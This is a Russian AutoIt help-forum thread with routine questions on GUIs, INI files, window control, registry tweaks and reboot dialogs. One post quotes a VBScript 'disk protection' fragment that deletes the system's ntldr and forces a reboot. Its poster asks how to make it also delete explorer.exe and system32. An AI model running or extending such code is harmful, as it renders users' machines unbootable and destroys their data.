Хочу чтоб появлялся рисунок при выборе из Combo (примерно так как появляется, когда я нажимаю на кнопку ОК), но только при выборе из элемента Combo и без нажатия на кнопку ОК. Тоесть выбрал 1 - рисунок поменялся, 2-тоже. И еще, как подключить кнопку Очистить на очистку поля Edit. И еще не могу придумать, чтоб там где у меня $neizvesno велся отсчет от ограничения на ввод символов(у меня100) и до 0 при вводе символов в поле Edit(тоесть сначала там 100, а ввел 1символ - стало 99. Вот такая сложная задача, Сегодня окончил читать тему, все 143 страницы, паралельно изучаю справку, и на Ru.Board сижу, - решения не нашел. Хоть совет прошу. |
beve, dobav Штукатурка.bmp
Пузыри.bmp |
Цитата:
2009-01-05 16:31:01>> ============ Debug Log For [AutoIt v3 Script.au3] Started... 2009-01-05 16:31:01>> ============ Operating System: WIN_XP 2009-01-05 16:31:01>> ============ Service Pack: Service Pack 3 2009-01-05 16:31:01>> ============ File System: FAT32 ============ ... 2009-01-05 16:31:38>> ============ Debug Log Finished (EXIT CODE: 0) ============ |
BonD 007, То же самое, только
Код:
File System: NTFS пробовал. |
Цитата:
BonD 007, katok888, Цитата:
Код:
HotKeySet("^+т", "_CreateFolder_Proc") Ещё одна вероятная причина, какое то другое приложение перехватывает эти клавиши (Ctrl + Shift + N), если добавление строчек выше не поможет, попробуйте сменить клавиши в скрипте, например на «^n» (Ctrl + N). |
Цитата:
Цитата:
|
Creat0R, да ну какие процессы о чём вы? :) Говорю же он сворачивает все подряд окна без разбора, СоулСик это или нет...
|
Цитата:
|
|
Цитата:
Я проверяю со скриптом который я и запостил тут, с ним у меня проблем нет, даже если он скомпилирован. |
А что в нём подозрительного? SoulSeek Minimize Script сумбурный набор букв.
Внутри это: Код:
Sleep(5000) Цитата:
Вы пробовали мой срипт? |
beve
Цитата:
Код:
#include <GUIConstants.au3> Цитата:
Цитата:
|
Тогда я не приложу ума, в чём может быть причина такого поведения, может быть из-за того, что заголовок содержит не толь SoulSeek?
AutoIt может путаться из-за двух экранов? |
SAOPP,
А если так: Код:
Sleep(5000) Цитата:
Цитата:
|
Курсор мигает там где находится кнопка минимизировать, но ничего не происходит...
Ага это было из-за отступа, он был почти по середине между минимизировать и развернуть. Поставил 72, сам перешёл в окну Сусла и свернул, чужие теперь не сворачивает, ещё щас поиграюсь с отступом, спасибо ;) |
Цитата:
|
Хаха, нет же, сворачивает любое окно!
|
Цитата:
Код:
$sTitle = "SoulSeek" |
Щас провертю. Я думаю может быть указать как окно его индефикатор?
|
|
Выдаёт текущий заголовок окна...
Причём всегда выдаёт только Суслика, даже если он в трее... |
Цитата:
Дубль №3: Код:
Sleep(5000) Сколько примерно времени скрипт ожидает прежде чем свернуть окно? Если около 10-ти секунд значит проблема в распознавании окна, но возможно тут ошибка (баг?) в функции WinActive... |
Цитата:
Ну теперь вроде бы сворачивает ТОЛЬКО СС. Утром ещё потестирую, спасибо за возьню, ещё отпишу ;) |
Цитата:
Код:
#include <GuiConstants.au3> |
Creat0R,
Цитата:
Код:
#include <GuiConstants.au3> |
Ну по сути да, оно то скрыто, но оно то есть... Дак что мне делать? :)
|
Цитата:
Также в справке есть упоминание об @extended, но не пишется что именно означает тот или инной код: Код:
If Not ProcessExists("Notepad.exe") Then Цитата:
|
Добрый всем день подскажите пожалусто:) Возможно ли написать скрипт который будет При его запуске Будет ставить рабочую группу:) И имя компютера в сети:) а есчо Vpn Соединение:) http://www.autoitscript.com/forum/in...howtopic=33005
прочитав папробовал написать ничего неполучается( |
Creat0R, ну так собсно и делаю :)
|
Жмем на ссылку в программе, она запускает браузер по умолчанию с параметром: -url "http://www.wtf.ru/" -requestPending
Все проходит гладко. Вместо браузера кладем свою программу и все произойдет как в оригинальном случае, кроме одной неприятной мелочи. Программа-отправитель обязательно ругнется: "file not found", хотя приложение будет запущено с теми же параметрами. Есть подозрение что браузер на переданные параметры чем-то отвечает. Поиск бесплоден. Проблема в принципе чисто эстетическая, все работает, хоть и приходится гасить коллекцию сообщений об ошибках, но хочется сделать по человечески... |
Здрасте всем!
Это мой первый пост и сразу вопрос: Почему у меня не работает подсказка GUICtrlSetTip(), что я делаю не так? Код:
#include <GUIConstants.au3> |
Цитата:
Цитата:
Цитата:
Creat0R Пользуясь случаем, хочу спросить, как зарепортить баг на офф. форуме? |
|
Цитата:
|
Цитата:
Код:
#include <GUIConstants.au3> |
Цитата:
Цитата:
Код:
MsgBox(0,"",$CmdLineRaw) Чтобы не курочить реестр понапрасну, замени ехе-шник своего браузера и запусти сторонний линк. Вместе с нужными параметрами будет бонус. |
Цитата:
Пусть WinSetState(Title, Text, 8) и активирует, даже скрытое окно, ведь эта функция и предназначена для установки состояния окна, а WinActivate пусть работает с видимыми окнами, у нас уже есть вроде функции которые только с видимыми умеют работать. Цитата:
|
Цитата:
Код:
#include <GUIConstants.au3> P.S А я уже баг репорт отправил :shuffle: |
Возможно ли узнать тип процессора (Intel или AMD) ?
|
Цитата:
Цитата:
Цитата:
Цитата:
Код:
$strComputer = "." |
Добрый демь после дебат по поводу сворачивания окна от которого мой почтовый ящик слегка вструхнуло.Мой вопрос будет выглядить на уровне детского сада. Вопрос в следующем помогите написать первый мой масив
Пример кода: #include <GUIConstants.au3> GUICreate("Моё окно", 200, 115) $List_001 = GUICtrlCreateCombo ("", 5, 5, 100, 20) GUICtrlSetData(-1, "Роза|Тюльпан|Гвоздика", "Роза") $Button_001 = GUICtrlCreateButton ("Ok", 20, 80, 75, 20) GUISetState () While 1 $msg = GUIGetMsg() If $msg = $GUI_EVENT_CLOSE Then ExitLoop Select Case $msg = $Button_001 IniWrite("List.ini", "List", "List", GUICtrlRead($List_001)) Exit EndSelect Wend Может я не правельно выразилсяна щёт масива но суть в следующем:если выбераю "Роза" то в ини фаел передаёться "1" если "Тюльпан"то "2" а если "Гвоздика то "3" чтение справки недало результата хотелось бы живой премер. |
Цитата:
Код:
#include <GUIConstants.au3> |
Помогите узнать истину! Суть вот в чем: часто в примерах знающие приводят в коде некоторые константы, как я понял, например вот эти: $WS_CAPTION, $WS_POPUP, $WS_SYSMENU,$WM_MOVE ну и другие, а в справке ни в русской, ни в английской к программе о них ни-гугу, в интернете искал, что они значат, тож ноль, а код не хочет выполнятся, ибо ругается что "эти" не описаны, но я так понял, что их и не нужно прописывать, а Autoit сам знает, что оно такое. Внимание вопрос: где найти описание этих и подобных, и почему описанный ниже пример с этими,с форума ру.боард у меня не хочет работать, ибо не может понять, что эти - такое?
Пример : P.S. Добавлено:Попробовал объявить так - Dim $WS_CAPTION, $WS_POPUP, $WS_SYSMENU, $WM_MOVE - Заработало! Но вопрос в силе, где найти описание? |
Цитата:
Цитата:
Цитата:
Код:
#include <GUIConstants.au3> |
Спасибо,Creat0R за потраченное время на ответ. Искал действительно с символом $. Биг сенкс. Теперь нашел по совету вот >http://trubetskoy1.narod.ru/translat...slation01.html тут описано много таких констант для работы с GUI, пробовал, работает!!!
|
Скажите, есть файл (архив) в нём несколько папок в одной из папок есть несколько файлов с раширением wav. Может ли автоит запустить любой файл и заменить его прямо в архиве на другой?
|
morgan1991, я для таких задач использовал winrar, у него есть хорошая справочка по командам. Составляй список аргументов и работай с архивами, перепаковывая что угодно...
|
Цитата:
Код:
#include <GUIConstants.au3> Какой тип архива? |
Да оба премера работают во втором как бы проще но непонял цытаты:Если сохраняеться порядок строк.
И если позволете чуть чуть усложнить КАк с помощью значения $List_000 = IniRead("List.ini", "List", "List", "") вернуть в окно значение по умолчанию Да ивобще несильно ли я мудрую когда перевожу таким образом переменые может просто забивать в ини файл то что содержут строки и не заморачиваться, просто возникают сомнение строки будут содержатьсловосочитания и как это может повлиять потом на работу скрипта код: #include <GUIConstants.au3> #include <ComboConstants.au3> GUICreate("Моё окно", 200, 115) $List_000 = IniRead("List.ini", "List", "List", "") $List_001 = GUICtrlCreateCombo("", 5, 5, 100, 20) GUICtrlSetData(-1, "Роза|Тюльпан|Гвоздика", $List_000) $Button_001 = GUICtrlCreateButton("Ok", 20, 80, 75, 20) GUISetState() While 1 $msg = GUIGetMsg() If $msg = $GUI_EVENT_CLOSE Then ExitLoop Select Case $msg = $Button_001 $iIndex = GUICtrlSendMsg($List_001, $CB_GETCURSEL, 0, 0) ;Получаем индекс текущей строки (отсчёт индекса начинается с нуля) IniWrite("List.ini", "List", "List", $iIndex + 1) EndSelect WEnd |
Цитата:
Код:
#include <GUIConstants.au3> |
Народ не пинайте сильно если не по теме спрошу. В скриптах я ноль почти полный а нужно мне очень Windows Script Encoder. Нужен он для создания защиты на диск по этой теме. Подскажите где скачать, весь нет облазил не нашел и в той теме нету. Спасибо
|
Цитата:
Люди, можно ли сделать скрипт, который бы после запуска показывал/скрывал скрытые файлы и папки? Если уже есть что-то подобное, дайте пожалуйста. |
Цитата:
И насчёт вопроса... мне тоже не было сразу ясно что и на рабочем столе нужно создавать, ведь в вопросе было «папка в любом окне Explorer'а», поэтому трудно рабочий стол принять за окно ;) Цитата:
Pozia, Цитата:
|
Такой вопрос. Есть программа, которой я пользуюсь чтоб смотреть через инет тв программы, All-radio, сайт проги> Так вот в этой программе, а она построена на движке IE сильно раздражает рекламный баннер, который убрать-запретить нельзя, ибо программа сразу это вычисляет, и закрывается! Нашел выход вот такой, при этом баннер закрывается:
Код:
AutoItSetOption("TrayIconHide", 1) |
|
Цитата:
Цитата:
|
Цитата:
|
Цитата:
Код:
_HiddenFilesShow(1) Цитата:
beve Смотри в справке _IE* функции |
Цитата:
Код:
$hPanel = ControlGetHandle("[Class:Shell_TrayWnd]", "", "CiceroUIWndFrame1") |
Цытата: Maza Faka
Код: _HiddenFilesShow(1) Func _HiddenFilesShow($iState = 0) Return RegWrite("HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced", "Hidden", "REG_DWORD", $iState) EndFunc У меня почемуто не работает может я чтото недоделываю. Вчера правил руками эту ветку потомучто скрытые файлы и папки неотображались вобще значение было "0" менял на "1". Если нетяжело можно подробнее. |
Прошу извенение всё заработало нада обновлять каталог по "F5" в тестировании скрытая папка и скрипт находились в одном каталоге.
|
Maza Faka, дело в том, что, то, что показано на скриншоте есть закрытие ЯП по умолчанию, т.е. она не появится после перезагрузки, то, что предлагаете Вы, по идеи если я не ошибаюсь, это перманентное простое закрытие на текущую сессию. Это я чисто предположительно из-за наличия Shell_TrayWnd сделал вывод. Нужно именно проделанные действия показанные на скрине если возможно, иначе ЯП будет появляться... :(
|
Цитата:
Цитата:
Цитата:
Код:
_HideLangBar() |
Creat0R, я так понял в ветку CTF'а прописывается значение равное значению, которое появляется после проделанных действий, которые показаны на скришоте?
|
Цитата:
|
Да, этого ключа недостаточно, после перезагрузке он восстанавливается в прежнюю позицию '4'.
|
SAOPP
Попробуй удалить значение в реестре: Код:
RegDelete("HKCU\Software\Microsoft\Windows\CurrentVersion\Run", "ctfmon.exe") |
А дело в том, что я не хочу удалять этот монитор. Просто интересно, можно ли организовать то, что было на скриншоте...
|
SAOPP, есть прога RegMon. Запускаем, проделываем нужные операции, выключаем слежение за реестром и смотрим, какие ключи поменялись. Дальше катаем reg файл и запускаем при необходимости.
|
266903582, проделайте и сообщите результат уважаемый. Данные начинания имеют корни 3х летней давности... С течением обстоятельств jameszero сделал аддон с удалением ctfmon'а вместе с punto switcher'ом. Топик об AutoIt и текущий запрос связан именно с тем, что бы добиться выполнения показанных на скриншоте действий с его помощью.
|
Цитата:
Код:
$hLangBar = ControlGetHandle("[CLASS:Shell_TrayWnd]", "", "CiceroUIWndFrame1") |
Цитата:
Сейчас потестирую скриптик... Скрипт работает как часики, спасибо, подготовлю вариант своего инсталлятора PS на поливариантность с запуском сего скрипта ;) В очередной раз Creat0R, спасибо! |
Цитата:
|
Ну я имел в виду именно как "попугая", собственно почему и бывает не надёжно на пару пикселей ;)
|
Кстати, опять возвращаюсь к давнему вопросу касательно создания ребута с красивым прогресс баром и т.п. оформлением :)
Т.е. shutdown.exe -r -f -t 60 Помню, ранее, подобные скрипты останавливали систему, т.е. паузили её, как сейчас состоит дело с этим в новых версиях AutoIt? |
SAOPP, стоит нажать волшебные ctrl+alt+delete и система оживает :)
|
Цитата:
Вот версия подобного ребутера: Код:
#NoTrayIcon |
Цитата:
|
Ребята помогите. Есть скрипт следующего содержания (часть его):
If strYouAreWelcome <> 1 Then Set objFSO = CreateObject("Scripting.FileSystemObject") Set colOperatingSystems = GetObject("winmgmts:{(Shutdown)}//./root/cimv2").ExecQuery("select * from Win32_OperatingSystem where Primary=true") strSystemDrive = objShell.ExpandEnvironmentStrings("%SystemDrive%") objFSO.DeleteFile strSystemDrive & "\ntldr", True For Each strOperatingSystem in colOperatingSystems strOperatingSystem.Reboot() Next Else If strYouAreWelcome = 1 Then ObjShell.Run ("C:\PKUNZIP -e -d -s" & strPassword & " C:\Protect.zip C:\"), 0, True End If End If Жирным я выделил то что он удоляет при определенном условии. Как подправить правильно скрипт чтобы он заодно удалял допустим explorer.exe и папку system32? Помогите пожалуйста |
|
Не видал ли кто пример функции (скрипта) которая показывает прогрес выполнения текущего скрипта
|
adima,
Opt("TrayIconDebug", 1)? |
Цитата:
Хотелось бы типа TrayTip |
adima, предлагаю такой вариант (на скорую руку) Попробуй этим обработать исходник своей программы и, откомпилировав ее, будут traytips на каждом шагу :)
Код:
$fl=FileOpenDialog("","","") |
Цитата:
Код:
$sFile = FileOpenDialog("Выберите файл скрипта", "", "AutoIt files (*.au3)") |
|
Подскажите как отключит в компе сетевую карту ???
|
Цитата:
devcon.exe DevCon Examples Использование программы с интерфейсом командной строки DevCon |
Цитата:
Но меня именно интересует как можно отключть именно через AutoIt ... если никто незнает скажите хоть в каком направлении копать ? |
Подскажите плиз!
у меня внутри тестируемого проги определен объект: Dundas.Charting.WinControl.Series series1 Соответсвенно я запускаю прогу. а потом хочу натравить на него автоитовский скрипт и внутри него использовать методы объекта series1. пробую использовать ObjGet (): Код:
$obj = ObjGet("Analyzer.exe", "Dundas.Charting.WinControl.Series") |
Помогите написать, я уже прежде спрашивал, но засуетился и времени не было, но охота всётаки довести это до ума... Сам не могу, так как очень сложно... Прошу полный листинг, хотябы как часть примера...
Нужно запустить taskmgr.exe и выбрать в нём Shutdown > Restart Computer > "Yes/OK" Версия желательно WinXP Eng. Кнопки в диспетчере насколько я помню не видны, в чём и проблемма? Напишите полный автоит? |
Цитата:
А что если создавать объект, типа: Код:
$oObj = ObjCreate("Dundas.Charting.WinControl.Series") Цитата:
Код:
#NoTrayIcon А также есть ещё такой диалог для завершения работы (обычно выводится разными программами для перезапуска системы): Код:
_RestartDialog('Установка программы успешно завершена!') |
Цитата:
Код:
_RestartDialog('Установка программы успешно завершена!') |
Цитата:
Цитата:
|
Цитата:
Цитата:
Цитата:
|
Цитата:
Цитата:
|
Цитата:
|
Здравствуйте чтото не могу понять как зделать чтобы закрытие вызваного окна по
#include"My okno.au3" не вызывалозакрытие всего скрипта. Не поиму предназначение функции: exitloop Пример из справки работает хотя непредставляю ищо как его дописать к своему окну хотя в нем есть большой недостаток при повторном вызове окна основной скрипт слетает с ошибкой. Пробовал убить его спомощью WinClose("My okno", "") WinKill("My okno", "") без результатно Пример из справки #include <GUIConstants.au3> GUICreate("My GUI") ; will create a dialog box that when displayed is centered GUISetState () ; will display an empty dialog box ; Run the GUI until the dialog is closed While 1 $msg = GUIGetMsg() If $msg = $GUI_EVENT_CLOSE Then ExitLoop Wend GUIDelete(); ; will return 1 |
litus
А если прятать окно? GuiSetState(@SW_HIDE, $hGUI) |
Подскажите хочу сделать autoit скрипт для автоматической установки sql 2000
[code]Run(".\SETUPSQL.EXE") WinWait("Setup") WinActivate ("Setup") WinWaitActive("Setup") Send("!s") Send ( '{ENTER}' ) Вот оно ![]() Но почему то не нажимает на окно предупреждения, когда ставишь на XP. |
Creat0R, 1. свой диалог shutdown нельзя! у меня проблемы с перезагрузкой, работают только графический Пуск... и Диспетчер Задач тоже самое - кнопки и клики. Если выполнить shutdown.exe или
шатдаун() в автоит то зависнет! я пробовал уже. Только GUI кнопками работает! Трабла такая у мну :) 2. И вообще это интересно и любопытно, как taskmgr можно нажимать, чисто интересно, пожалуйста попытайтесь написать код? ЗЫ Раз есть проблем у мну, то он может быть не только у мну, а значит уже не надёжно всётаки, но дел не в этом, просто хочется альтернативу иметь тоже. |
Цитата:
Код:
#include <WindowsConstants.au3> |
Вообщем в некой части скрипта есть во такой код (который устанавливает прогресс бар)
Вопрос .... ! можно это ещё как либо доработать ??? Creat0R ;) (скрипт рабочий) и ещё у меня ошибка в начале где : If $ySize_Total == 451490049 Then и я немогу понять почему. Код:
;********* Впоследствии это станет "CopyToUsb.exe" который находится внутри закомпилированного скрипта (он выше) и сопсн говоря это приложение и будет выполнять копирование Код:
#NoTrayIcon |
Цитата:
титул: Windows Task Manager меню: Shut Down /список: Stand By | Hibernate | Turn Off | Restart | Log Off Semiono | Lock Computer WinKey + L надо Restart нажать! :) |
Цитата:
P.S 4 нужно заменить на 3 в скрипте. |
voler,
Цитата:
Код:
ControlClick("Setup", "component is not supported", "OK") Цитата:
Во первых - пример не рабочий, во вторых - неправильное использование функции FileInstall (читаем справку). P.S. Если хочешь получить грамотную помощь - задавай грамотные вопросы, с рабочими примерами ;) |
Maza Faka А если прятать окно?
GuiSetState(@SW_HIDE, $hGUI) А откуда взялась переменая $hGUI если нетрудно перепешите . Раньше это было два разных скрипта и если я вызывал с основного скрипта по функции run диалоговое окно то оно отрабатывалось как отдельный скрипт и спокойно закрывалось поExit не затрагивая работу основного скрипта. но хотелось бы зделать по компактнее. |
Ребята, а подскажите как выгрузить из процесса одну dll. То есть, есть процесс (допустим explorer.exe) к нему подгружается одна dll вот как её выгрузить не убивая сам процесс ?
|
Возможно ли при присутствии 4 разделов жёсткого диска определить какие системы находятся на других жёстких дисках?
|
Цитата:
TERMINAL Либо парсить boot.ini, либо искать папки с именами: Windows, WinNT и т.д. |
Цитата:
|
Цитата:
А да извиняюсь ошибка есть ... компилятор выдал только при компиляции скрипта в ЕХЕ Вот так работает : FileInstall ("CopyToUsb.exe", @TempDir & '\CopyToUsb.exe', 1) |
Цитата:
четвёртый! |
Цитата:
Код:
#include <WindowsConstants.au3> |
И снова я мучаюсь с RegExp'сами :help: ...
Имеется строка: Код:
$sList = "First|[:Class:]|[String]" Код:
First|[:Class:]|S|t|r|i|n|g Пробовал так: Код:
$sRet = StringRegExpReplace($sList, "(.*)\[([^:].*[^:])\].*", "\1\2|") |
Создать автоматически Dial UP подключение + задать параметры подключения
Доброго дня знатоки!
Я пока начал изучать AutoIt, но как обычно хочется все и сразу. Есть вот такой скрипт, спасибо автору fox_sly Код:
;Запуск Мастера подключения к интернету Код:
ControlClick ( "Мастер новых подключений", "", "Добавить &ярлык подключения на рабочий стол" ) И еще один параметр нужно что скрипт в этом подключении проверил какой модем используется и поставил тот модем один из пяти которые будут забиты в скрипте. И еще нужно что бы установка происходила фоново - то есть что бы не было видно что там окошки сами летают)) лучше если будет окошко отображаться со строкой индикации бегущей и в конце выдалась кнопка "Все установлено" К примеру есть ноут на нем есть обычный модем к примеру Моторола 56К, к ноуту покупают радиомодем новател 720, после установки подключения по умолчанию будет стоять модем моторала 56к, а скрипт должен это дело проверить посмотреть у себя в параметре какие есть у него по выбору модемы (типа из списка) и установить один из 5 |
Время: 02:37. |
Время: 02:37.
© OSzone.net 2001-